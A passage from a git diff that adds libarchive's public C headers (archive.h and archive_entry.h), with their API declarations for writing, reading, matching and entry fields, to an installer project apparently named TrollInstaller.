archive_write_add_filter_compress(struct archive *); +__LA_DECL int archive_write_add_filter_grzip(struct archive *); +__LA_DECL int archive_write_add_filter_gzip(struct archive *); +__LA_DECL int archive_write_add_filter_lrzip(struct archive *); +__LA_DECL int archive_write_add_filter_lz4(struct archive *); +__LA_DECL int archive_write_add_filter_lzip(struct archive *); +__LA_DECL int archive_write_add_filter_lzma(struct archive *); +__LA_DECL int archive_write_add_filter_lzop(struct archive *); +__LA_DECL int archive_write_add_filter_none(struct archive *); +__LA_DECL int archive_write_add_filter_program(struct archive *, + const char *cmd); +__LA_DECL int archive_write_add_filter_uuencode(struct archive *); +__LA_DECL int archive_write_add_filter_xz(struct archive *); +__LA_DECL int archive_write_add_filter_zstd(struct archive *); + + +/* A convenience function to set the format based on the code or name. */ +__LA_DECL int archive_write_set_format(struct archive *, int format_code); +__LA_DECL int archive_write_set_format_by_name(struct archive *, + const char *name); +/* To minimize link pollution, use one or more of the following. */ +__LA_DECL int archive_write_set_format_7zip(struct archive *); +__LA_DECL int archive_write_set_format_ar_bsd(struct archive *); +__LA_DECL int archive_write_set_format_ar_svr4(struct archive *); +__LA_DECL int archive_write_set_format_cpio(struct archive *); +__LA_DECL int archive_write_set_format_cpio_bin(struct archive *); +__LA_DECL int archive_write_set_format_cpio_newc(struct archive *); +__LA_DECL int archive_write_set_format_cpio_odc(struct archive *); +__LA_DECL int archive_write_set_format_cpio_pwb(struct archive *); +__LA_DECL int archive_write_set_format_gnutar(struct archive *); +__LA_DECL int archive_write_set_format_iso9660(struct archive *); +__LA_DECL int archive_write_set_format_mtree(struct archive *); +__LA_DECL int archive_write_set_format_mtree_classic(struct archive *); +/* TODO: int archive_write_set_format_old_tar(struct archive *); */ +__LA_DECL int archive_write_set_format_pax(struct archive *); +__LA_DECL int archive_write_set_format_pax_restricted(struct archive *); +__LA_DECL int archive_write_set_format_raw(struct archive *); +__LA_DECL int archive_write_set_format_shar(struct archive *); +__LA_DECL int archive_write_set_format_shar_dump(struct archive *); +__LA_DECL int archive_write_set_format_ustar(struct archive *); +__LA_DECL int archive_write_set_format_v7tar(struct archive *); +__LA_DECL int archive_write_set_format_warc(struct archive *); +__LA_DECL int archive_write_set_format_xar(struct archive *); +__LA_DECL int archive_write_set_format_zip(struct archive *); +__LA_DECL int archive_write_set_format_filter_by_ext(struct archive *a, const char *filename); +__LA_DECL int archive_write_set_format_filter_by_ext_def(struct archive *a, const char *filename, const char * def_ext); +__LA_DECL int archive_write_zip_set_compression_deflate(struct archive *); +__LA_DECL int archive_write_zip_set_compression_store(struct archive *); +/* Deprecated; use archive_write_open2 instead */ +__LA_DECL int archive_write_open(struct archive *, void *, + archive_open_callback *, archive_write_callback *, + archive_close_callback *); +__LA_DECL int archive_write_open2(struct archive *, void *, + archive_open_callback *, archive_write_callback *, + archive_close_callback *, archive_free_callback *); +__LA_DECL int archive_write_open_fd(struct archive *, int _fd); +__LA_DECL int archive_write_open_filename(struct archive *, const char *_file); +__LA_DECL int archive_write_open_filename_w(struct archive *, + const wchar_t *_file); +/* A deprecated synonym for archive_write_open_filename() */ +__LA_DECL int archive_write_open_file(struct archive *, const char *_file) + __LA_DEPRECATED; +__LA_DECL int archive_write_open_FILE(struct archive *, FILE *); +/* _buffSize is the size of the buffer, _used refers to a variable that + * will be updated after each write into the buffer. */ +__LA_DECL int archive_write_open_memory(struct archive *, + void *_buffer, size_t _buffSize, size_t *_used); + +/* + * Note that the library will truncate writes beyond the size provided + * to archive_write_header or pad if the provided data is short. + */ +__LA_DECL int archive_write_header(struct archive *, + struct archive_entry *); +__LA_DECL la_ssize_t archive_write_data(struct archive *, + const void *, size_t); + +/* This interface is currently only available for archive_write_disk handles. */ +__LA_DECL la_ssize_t archive_write_data_block(struct archive *, + const void *, size_t, la_int64_t); + +__LA_DECL int archive_write_finish_entry(struct archive *); +__LA_DECL int archive_write_close(struct archive *); +/* Marks the archive as FATAL so that a subsequent free() operation + * won't try to close() cleanly. Provides a fast abort capability + * when the client discovers that things have gone wrong. */ +__LA_DECL int archive_write_fail(struct archive *); +/* This can fail if the archive wasn't already closed, in which case + * archive_write_free() will implicitly call archive_write_close(). */ +__LA_DECL int archive_write_free(struct archive *); +#if ARCHIVE_VERSION_NUMBER < 4000000 +/* Synonym for archive_write_free() for backwards compatibility. */ +__LA_DECL int archive_write_finish(struct archive *) __LA_DEPRECATED; +#endif + +/* + * Set write options. + */ +/* Apply option to the format only. */ +__LA_DECL int archive_write_set_format_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option to the filter only. */ +__LA_DECL int archive_write_set_filter_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option to both the format and the filter. */ +__LA_DECL int archive_write_set_option(struct archive *_a, + const char *m, const char *o, + const char *v); +/* Apply option string to both the format and the filter. */ +__LA_DECL int archive_write_set_options(struct archive *_a, + const char *opts); + +/* + * Set a encryption passphrase. + */ +__LA_DECL int archive_write_set_passphrase(struct archive *_a, const char *p); +__LA_DECL int archive_write_set_passphrase_callback(struct archive *, + void *client_data, archive_passphrase_callback *); + +/*- + * ARCHIVE_WRITE_DISK API + * + * To create objects on disk: + * 1) Ask archive_write_disk_new for a new archive_write_disk object. + * 2) Set any global properties. In particular, you probably + * want to set the options. + * 3) For each entry: + * - construct an appropriate struct archive_entry structure + * - archive_write_header to create the file/dir/etc on disk + * - archive_write_data to write the entry data + * 4) archive_write_free to cleanup the writer and release resources + * + * In particular, you can use this in conjunction with archive_read() + * to pull entries out of an archive and create them on disk. + */ +__LA_DECL struct archive *archive_write_disk_new(void); +/* This file will not be overwritten. */ +__LA_DECL int archive_write_disk_set_skip_file(struct archive *, + la_int64_t, la_int64_t); +/* Set flags to control how the next item gets created. + * This accepts a bitmask of ARCHIVE_EXTRACT_XXX flags defined above. */ +__LA_DECL int archive_write_disk_set_options(struct archive *, + int flags); +/* + * The lookup functions are given uname/uid (or gname/gid) pairs and + * return a uid (gid) suitable for this system. These are used for + * restoring ownership and for setting ACLs. The default functions + * are naive, they just return the uid/gid. These are small, so reasonable + * for applications that don't need to preserve ownership; they + * are probably also appropriate for applications that are doing + * same-system backup and restore. + */ +/* + * The "standard" lookup functions use common system calls to lookup + * the uname/gname, falling back to the uid/gid if the names can't be + * found. They cache lookups and are reasonably fast, but can be very + * large, so they are not used unless you ask for them. In + * particular, these match the specifications of POSIX "pax" and old + * POSIX "tar". + */ +__LA_DECL int archive_write_disk_set_standard_lookup(struct archive *); +/* + * If neither the default (naive) nor the standard (big) functions suit + * your needs, you can write your own and register them. Be sure to + * include a cleanup function if you have allocated private data. + */ +__LA_DECL int archive_write_disk_set_group_lookup(struct archive *, + void * /* private_data */, + la_int64_t (*)(void *, const char *, la_int64_t), + void (* /* cleanup */)(void *)); +__LA_DECL int archive_write_disk_set_user_lookup(struct archive *, + void * /* private_data */, + la_int64_t (*)(void *, const char *, la_int64_t), + void (* /* cleanup */)(void *)); +__LA_DECL la_int64_t archive_write_disk_gid(struct archive *, const char *, la_int64_t); +__LA_DECL la_int64_t archive_write_disk_uid(struct archive *, const char *, la_int64_t); + +/* + * ARCHIVE_READ_DISK API + * + * This is still evolving and somewhat experimental. + */ +__LA_DECL struct archive *archive_read_disk_new(void); +/* The names for symlink modes here correspond to an old BSD + * command-line argument convention: -L, -P, -H */ +/* Follow all symlinks. */ +__LA_DECL int archive_read_disk_set_symlink_logical(struct archive *); +/* Follow no symlinks. */ +__LA_DECL int archive_read_disk_set_symlink_physical(struct archive *); +/* Follow symlink initially, then not. */ +__LA_DECL int archive_read_disk_set_symlink_hybrid(struct archive *); +/* TODO: Handle Linux stat32/stat64 ugliness. */ +__LA_DECL int archive_read_disk_entry_from_file(struct archive *, + struct archive_entry *, int /* fd */, const struct stat *); +/* Look up gname for gid or uname for uid. */ +/* Default implementations are very, very stupid. */ +__LA_DECL const char *archive_read_disk_gname(struct archive *, la_int64_t); +__LA_DECL const char *archive_read_disk_uname(struct archive *, la_int64_t); +/* "Standard" implementation uses getpwuid_r, getgrgid_r and caches the + * results for performance. */ +__LA_DECL int archive_read_disk_set_standard_lookup(struct archive *); +/* You can install your own lookups if you like. */ +__LA_DECL int archive_read_disk_set_gname_lookup(struct archive *, + void * /* private_data */, + const char *(* /* lookup_fn */)(void *, la_int64_t), + void (* /* cleanup_fn */)(void *)); +__LA_DECL int archive_read_disk_set_uname_lookup(struct archive *, + void * /* private_data */, + const char *(* /* lookup_fn */)(void *, la_int64_t), + void (* /* cleanup_fn */)(void *)); +/* Start traversal. */ +__LA_DECL int archive_read_disk_open(struct archive *, const char *); +__LA_DECL int archive_read_disk_open_w(struct archive *, const wchar_t *); +/* + * Request that current entry be visited. If you invoke it on every + * directory, you'll get a physical traversal. This is ignored if the + * current entry isn't a directory or a link to a directory. So, if + * you invoke this on every returned path, you'll get a full logical + * traversal. + */ +__LA_DECL int archive_read_disk_descend(struct archive *); +__LA_DECL int archive_read_disk_can_descend(struct archive *); +__LA_DECL int archive_read_disk_current_filesystem(struct archive *); +__LA_DECL int archive_read_disk_current_filesystem_is_synthetic(struct archive *); +__LA_DECL int archive_read_disk_current_filesystem_is_remote(struct archive *); +/* Request that the access time of the entry visited by traversal be restored. */ +__LA_DECL int archive_read_disk_set_atime_restored(struct archive *); +/* + * Set behavior. The "flags" argument selects optional behavior. + */ +/* Request that the access time of the entry visited by traversal be restored. + * This is the same as archive_read_disk_set_atime_restored. */ +#define ARCHIVE_READDISK_RESTORE_ATIME (0x0001) +/* Default: Do not skip an entry which has nodump flags. */ +#define ARCHIVE_READDISK_HONOR_NODUMP (0x0002) +/* Default: Skip a mac resource fork file whose prefix is "._" because of + * using copyfile. */ +#define ARCHIVE_READDISK_MAC_COPYFILE (0x0004) +/* Default: Traverse mount points. */ +#define ARCHIVE_READDISK_NO_TRAVERSE_MOUNTS (0x0008) +/* Default: Xattrs are read from disk. */ +#define ARCHIVE_READDISK_NO_XATTR (0x0010) +/* Default: ACLs are read from disk. */ +#define ARCHIVE_READDISK_NO_ACL (0x0020) +/* Default: File flags are read from disk. */ +#define ARCHIVE_READDISK_NO_FFLAGS (0x0040) +/* Default: Sparse file information is read from disk. */ +#define ARCHIVE_READDISK_NO_SPARSE (0x0080) + +__LA_DECL int archive_read_disk_set_behavior(struct archive *, + int flags); + +/* + * Set archive_match object that will be used in archive_read_disk to + * know whether an entry should be skipped. The callback function + * _excluded_func will be invoked when an entry is skipped by the result + * of archive_match. + */ +__LA_DECL int archive_read_disk_set_matching(struct archive *, + struct archive *_matching, void (*_excluded_func) + (struct archive *, void *, struct archive_entry *), + void *_client_data); +__LA_DECL int archive_read_disk_set_metadata_filter_callback(struct archive *, + int (*_metadata_filter_func)(struct archive *, void *, + struct archive_entry *), void *_client_data); + +/* Simplified cleanup interface; + * This calls archive_read_free() or archive_write_free() as needed. */ +__LA_DECL int archive_free(struct archive *); + +/* + * Accessor functions to read/set various information in + * the struct archive object: + */ + +/* Number of filters in the current filter pipeline. */ +/* Filter #0 is the one closest to the format, -1 is a synonym for the + * last filter, which is always the pseudo-filter that wraps the + * client callbacks. */ +__LA_DECL int archive_filter_count(struct archive *); +__LA_DECL la_int64_t archive_filter_bytes(struct archive *, int); +__LA_DECL int archive_filter_code(struct archive *, int); +__LA_DECL const char * archive_filter_name(struct archive *, int); + +#if ARCHIVE_VERSION_NUMBER < 4000000 +/* These don't properly handle multiple filters, so are deprecated and + * will eventually be removed. */ +/* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, -1); */ +__LA_DECL la_int64_t archive_position_compressed(struct archive *) + __LA_DEPRECATED; +/* As of libarchive 3.0, this is an alias for archive_filter_bytes(a, 0); */ +__LA_DECL la_int64_t archive_position_uncompressed(struct archive *) + __LA_DEPRECATED; +/* As of libarchive 3.0, this is an alias for archive_filter_name(a, 0); */ +__LA_DECL const char *archive_compression_name(struct archive *) + __LA_DEPRECATED; +/* As of libarchive 3.0, this is an alias for archive_filter_code(a, 0); */ +__LA_DECL int archive_compression(struct archive *) + __LA_DEPRECATED; +#endif + +__LA_DECL int archive_errno(struct archive *); +__LA_DECL const char *archive_error_string(struct archive *); +__LA_DECL const char *archive_format_name(struct archive *); +__LA_DECL int archive_format(struct archive *); +__LA_DECL void archive_clear_error(struct archive *); +__LA_DECL void archive_set_error(struct archive *, int _err, + const char *fmt, ...) __LA_PRINTF(3, 4); +__LA_DECL void archive_copy_error(struct archive *dest, + struct archive *src); +__LA_DECL int archive_file_count(struct archive *); + +/* + * ARCHIVE_MATCH API + */ +__LA_DECL struct archive *archive_match_new(void); +__LA_DECL int archive_match_free(struct archive *); + +/* + * Test if archive_entry is excluded. + * This is a convenience function. This is the same as calling all + * archive_match_path_excluded, archive_match_time_excluded + * and archive_match_owner_excluded. + */ +__LA_DECL int archive_match_excluded(struct archive *, + struct archive_entry *); + +/* + * Test if pathname is excluded. The conditions are set by following functions. + */ +__LA_DECL int archive_match_path_excluded(struct archive *, + struct archive_entry *); +/* Control recursive inclusion of directory content when directory is included. Default on. */ +__LA_DECL int archive_match_set_inclusion_recursion(struct archive *, int); +/* Add exclusion pathname pattern. */ +__LA_DECL int archive_match_exclude_pattern(struct archive *, const char *); +__LA_DECL int archive_match_exclude_pattern_w(struct archive *, + const wchar_t *); +/* Add exclusion pathname pattern from file. */ +__LA_DECL int archive_match_exclude_pattern_from_file(struct archive *, + const char *, int _nullSeparator); +__LA_DECL int archive_match_exclude_pattern_from_file_w(struct archive *, + const wchar_t *, int _nullSeparator); +/* Add inclusion pathname pattern. */ +__LA_DECL int archive_match_include_pattern(struct archive *, const char *); +__LA_DECL int archive_match_include_pattern_w(struct archive *, + const wchar_t *); +/* Add inclusion pathname pattern from file. */ +__LA_DECL int archive_match_include_pattern_from_file(struct archive *, + const char *, int _nullSeparator); +__LA_DECL int archive_match_include_pattern_from_file_w(struct archive *, + const wchar_t *, int _nullSeparator); +/* + * How to get statistic information for inclusion patterns. + */ +/* Return the amount number of unmatched inclusion patterns. */ +__LA_DECL int archive_match_path_unmatched_inclusions(struct archive *); +/* Return the pattern of unmatched inclusion with ARCHIVE_OK. + * Return ARCHIVE_EOF if there is no inclusion pattern. */ +__LA_DECL int archive_match_path_unmatched_inclusions_next( + struct archive *, const char **); +__LA_DECL int archive_match_path_unmatched_inclusions_next_w( + struct archive *, const wchar_t **); + +/* + * Test if a file is excluded by its time stamp. + * The conditions are set by following functions. + */ +__LA_DECL int archive_match_time_excluded(struct archive *, + struct archive_entry *); + +/* + * Flags to tell a matching type of time stamps. These are used for + * following functions. + */ +/* Time flag: mtime to be tested. */ +#define ARCHIVE_MATCH_MTIME (0x0100) +/* Time flag: ctime to be tested. */ +#define ARCHIVE_MATCH_CTIME (0x0200) +/* Comparison flag: Match the time if it is newer than. */ +#define ARCHIVE_MATCH_NEWER (0x0001) +/* Comparison flag: Match the time if it is older than. */ +#define ARCHIVE_MATCH_OLDER (0x0002) +/* Comparison flag: Match the time if it is equal to. */ +#define ARCHIVE_MATCH_EQUAL (0x0010) +/* Set inclusion time. */ +__LA_DECL int archive_match_include_time(struct archive *, int _flag, + time_t _sec, long _nsec); +/* Set inclusion time by a date string. */ +__LA_DECL int archive_match_include_date(struct archive *, int _flag, + const char *_datestr); +__LA_DECL int archive_match_include_date_w(struct archive *, int _flag, + const wchar_t *_datestr); +/* Set inclusion time by a particular file. */ +__LA_DECL int archive_match_include_file_time(struct archive *, + int _flag, const char *_pathname); +__LA_DECL int archive_match_include_file_time_w(struct archive *, + int _flag, const wchar_t *_pathname); +/* Add exclusion entry. */ +__LA_DECL int archive_match_exclude_entry(struct archive *, + int _flag, struct archive_entry *); + +/* + * Test if a file is excluded by its uid ,gid, uname or gname. + * The conditions are set by following functions. + */ +__LA_DECL int archive_match_owner_excluded(struct archive *, + struct archive_entry *); +/* Add inclusion uid, gid, uname and gname. */ +__LA_DECL int archive_match_include_uid(struct archive *, la_int64_t); +__LA_DECL int archive_match_include_gid(struct archive *, la_int64_t); +__LA_DECL int archive_match_include_uname(struct archive *, const char *); +__LA_DECL int archive_match_include_uname_w(struct archive *, + const wchar_t *); +__LA_DECL int archive_match_include_gname(struct archive *, const char *); +__LA_DECL int archive_match_include_gname_w(struct archive *, + const wchar_t *); + +/* Utility functions */ +/* Convenience function to sort a NULL terminated list of strings */ +__LA_DECL int archive_utility_string_sort(char **); + +#ifdef __cplusplus +} +#endif + +/* These are meaningless outside of this header. */ +#undef __LA_DECL + +#endif /* !ARCHIVE_H_INCLUDED */ diff --git a/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h b/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h new file mode 100644 index 0000000..64e0f4a --- /dev/null +++ b/Installer/TrollInstaller/TrollInstaller/headers/archive_entry.h @@ -0,0 +1,721 @@ +/*- + * Copyright (c) 2003-2008 Tim Kientzle + * Copyright (c) 2016 Martin Matuska + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $ + */ + +#ifndef ARCHIVE_ENTRY_H_INCLUDED +#define ARCHIVE_ENTRY_H_INCLUDED + +/* Note: Compiler will complain if this does not match archive.h! */ +#define ARCHIVE_VERSION_NUMBER 3006002 + +/* + * Note: archive_entry.h is for use outside of libarchive; the + * configuration headers (config.h, archive_platform.h, etc.) are + * purely internal. Do NOT use HAVE_XXX configuration macros to + * control the behavior of this header! If you must conditionalize, + * use predefined compiler and/or platform macros. + */ + +#include +#include /* for wchar_t */ +#include +#include + +#if defined(_WIN32) && !defined(__CYGWIN__) +#include +#endif + +/* Get a suitable 64-bit integer type. */ +#if !defined(__LA_INT64_T_DEFINED) +# if ARCHIVE_VERSION_NUMBER < 4000000 +#define __LA_INT64_T la_int64_t +# endif +#define __LA_INT64_T_DEFINED +# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) +typedef __int64 la_int64_t; +# else +#include +# if defined(_SCO_DS) || defined(__osf__) +typedef long long la_int64_t; +# else +typedef int64_t la_int64_t; +# endif +# endif +#endif + +/* The la_ssize_t should match the type used in 'struct stat' */ +#if !defined(__LA_SSIZE_T_DEFINED) +/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */ +# if ARCHIVE_VERSION_NUMBER < 4000000 +#define __LA_SSIZE_T la_ssize_t +# endif +#define __LA_SSIZE_T_DEFINED +# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__) +# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_) +typedef ssize_t la_ssize_t; +# elif defined(_WIN64) +typedef __int64 la_ssize_t; +# else +typedef long la_ssize_t; +# endif +# else +# include /* ssize_t */ +typedef ssize_t la_ssize_t; +# endif +#endif + +/* Get a suitable definition for mode_t */ +#if ARCHIVE_VERSION_NUMBER >= 3999000 +/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */ +# define __LA_MODE_T int +#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__) +# define __LA_MODE_T unsigned short +#else +# define __LA_MODE_T mode_t +#endif + +/* Large file support for Android */ +#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__) +#include "android_lf.h" +#endif + +/* + * On Windows, define LIBARCHIVE_STATIC if you're building or using a + * .lib. The default here assumes you're building a DLL. Only + * libarchive source should ever define __LIBARCHIVE_BUILD. + */ +#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) +# ifdef __LIBARCHIVE_BUILD +# ifdef __GNUC__ +# define __LA_DECL __attribute__((dllexport)) extern +# else +# define __LA_DECL __declspec(dllexport) +# endif +# else +# ifdef __GNUC__ +# define __LA_DECL +# else +# define __LA_DECL __declspec(dllimport) +# endif +# endif +#else +/* Static libraries on all platforms and shared libraries on non-Windows. */ +# define __LA_DECL +#endif + +#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1 +# define __LA_DEPRECATED __attribute__((deprecated)) +#else +# define __LA_DEPRECATED +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Description of an archive entry. + * + * You can think of this as "struct stat" with some text fields added in. + * + * TODO: Add "comment", "charset", and possibly other entries that are + * supported by "pax interchange" format. However, GNU, ustar, cpio, + * and other variants don't support these features, so they're not an + * excruciatingly high priority right now. + * + * TODO: "pax interchange" format allows essentially arbitrary + * key/value attributes to be attached to any entry. Supporting + * such extensions may make this library useful for special + * applications (e.g., a package manager could attach special + * package-management attributes to each entry). + */ +struct archive; +struct archive_entry; + +/* + * File-type constants. These are returned from archive_entry_filetype() + * and passed to archive_entry_set_filetype(). + * + * These values match S_XXX defines on every platform I've checked, + * including Windows, AIX, Linux, Solaris, and BSD. They're + * (re)defined here because platforms generally don't define the ones + * they don't support. For example, Windows doesn't define S_IFLNK or + * S_IFBLK. Instead of having a mass of conditional logic and system + * checks to define any S_XXX values that aren't supported locally, + * I've just defined a new set of such constants so that + * libarchive-based applications can manipulate and identify archive + * entries properly even if the hosting platform can't store them on + * disk. + * + * These values are also used directly within some portable formats, + * such as cpio. If you find a platform that varies from these, the + * correct solution is to leave these alone and translate from these + * portable values to platform-native values when entries are read from + * or written to disk. + */ +/* + * In libarchive 4.0, we can drop the casts here. + * They're needed to work around Borland C's broken mode_t. + */ +#define AE_IFMT ((__LA_MODE_T)0170000) +#define AE_IFREG ((__LA_MODE_T)0100000) +#define AE_IFLNK ((__LA_MODE_T)0120000) +#define AE_IFSOCK ((__LA_MODE_T)0140000) +#define AE_IFCHR ((__LA_MODE_T)0020000) +#define AE_IFBLK ((__LA_MODE_T)0060000) +#define AE_IFDIR ((__LA_MODE_T)0040000) +#define AE_IFIFO ((__LA_MODE_T)0010000) + +/* + * Symlink types + */ +#define AE_SYMLINK_TYPE_UNDEFINED 0 +#define AE_SYMLINK_TYPE_FILE 1 +#define AE_SYMLINK_TYPE_DIRECTORY 2 + +/* + * Basic object manipulation + */ + +__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *); +/* The 'clone' function does a deep copy; all of the strings are copied too. */ +__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *); +__LA_DECL void archive_entry_free(struct archive_entry *); +__LA_DECL struct archive_entry *archive_entry_new(void); + +/* + * This form of archive_entry_new2() will pull character-set + * conversion information from the specified archive handle. The + * older archive_entry_new(void) form is equivalent to calling + * archive_entry_new2(NULL) and will result in the use of an internal + * default character-set conversion. + */ +__LA_DECL struct archive_entry *archive_entry_new2(struct archive *); + +/* + * Retrieve fields from an archive_entry. + * + * There are a number of implicit conversions among these fields. For + * example, if a regular string field is set and you read the _w wide + * character field, the entry will implicitly convert narrow-to-wide + * using the current locale. Similarly, dev values are automatically + * updated when you write devmajor or devminor and vice versa. + * + * In addition, fields can be "set" or "unset." Unset string fields + * return NULL, non-string fields have _is_set() functions to test + * whether they've been set. You can "unset" a string field by + * assigning NULL; non-string fields have _unset() functions to + * unset them. + * + * Note: There is one ambiguity in the above; string fields will + * also return NULL when implicit character set conversions fail. + * This is usually what you want. + */ +__LA_DECL time_t archive_entry_atime(struct archive_entry *); +__LA_DECL long archive_entry_atime_nsec(struct archive_entry *); +__LA_DECL int archive_entry_atime_is_set(struct archive_entry *); +__LA_DECL time_t archive_entry_birthtime(struct archive_entry *); +__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *); +__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *); +__LA_DECL time_t archive_entry_ctime(struct archive_entry *); +__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *); +__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *); +__LA_DECL dev_t archive_entry_dev(struct archive_entry *); +__LA_DECL int archive_entry_dev_is_set(struct archive_entry *); +__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *); +__LA_DECL dev_t archive_entry_devminor(struct archive_entry *); +__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *); +__LA_DECL void archive_entry_fflags(struct archive_entry *, + unsigned long * /* set */, + unsigned long * /* clear */); +__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *); +__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *); +__LA_DECL const char *archive_entry_gname(struct archive_entry *); +__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *); +__LA_DECL const char *archive_entry_hardlink(struct archive_entry *); +__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *); +__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *); +__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *); +__LA_DECL int archive_entry_ino_is_set(struct archive_entry *); +__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *); +__LA_DECL time_t archive_entry_mtime(struct archive_entry *); +__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *); +__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *); +__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *); +__LA_DECL const char *archive_entry_pathname(struct archive_entry *); +__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *); +__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *); +__LA_DECL dev_t archive_entry_rdev(struct archive_entry *); +__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *); +__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *); +__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *); +__LA_DECL la_int64_t archive_entry_size(struct archive_entry *); +__LA_DECL int archive_entry_size_is_set(struct archive_entry *); +__LA_DECL const char *archive_entry_strmode(struct archive_entry *); +__LA_DECL const char *archive_entry_symlink(struct archive_entry *); +__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *); +__LA_DECL int archive_entry_symlink_type(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *); +__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *); +__LA_DECL const char *archive_entry_uname(struct archive_entry *); +__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *); +__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *); +__LA_DECL int archive_entry_is_data_encrypted(struct archive_entry *); +__LA_DECL int archive_entry_is_metadata_encrypted(struct archive_entry *); +__LA_DECL int archive_entry_is_encrypted(struct archive_entry *); + +/* + * Set fields in an archive_entry. + * + * Note: Before libarchive 2.4, there were 'set' and 'copy' versions + * of the string setters. 'copy' copied the actual string, 'set' just + * stored the pointer. In libarchive 2.4 and later, strings are + * always copied. + */ + +__LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long); +__LA_DECL void archive_entry_unset_atime(struct archive_entry *); +#if defined(_WIN32) && !defined(__CYGWIN__) +__LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *); +#endif +__LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long); +__LA_DECL void archive_entry_unset_birthtime(struct archive_entry *); +__LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long); +__LA_DECL void archive_entry_unset_ctime(struct archive_entry *); +__LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t); +__LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int); +__LA_DECL void archive_entry_set_fflags(struct archive_entry *, + unsigned long /* set */, unsigned long /* clear */); +/* Returns pointer to start of first invalid token, or NULL if none. */ +/* Note that all recognized tokens are processed, regardless. */ +__LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *, + const char *); +__LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *, + const wchar_t *); +__LA_DECL void archive_entry_set_gid(struct archive_entry *, la_int64_t); +__LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_set_gname_utf8(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *); +__LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *); 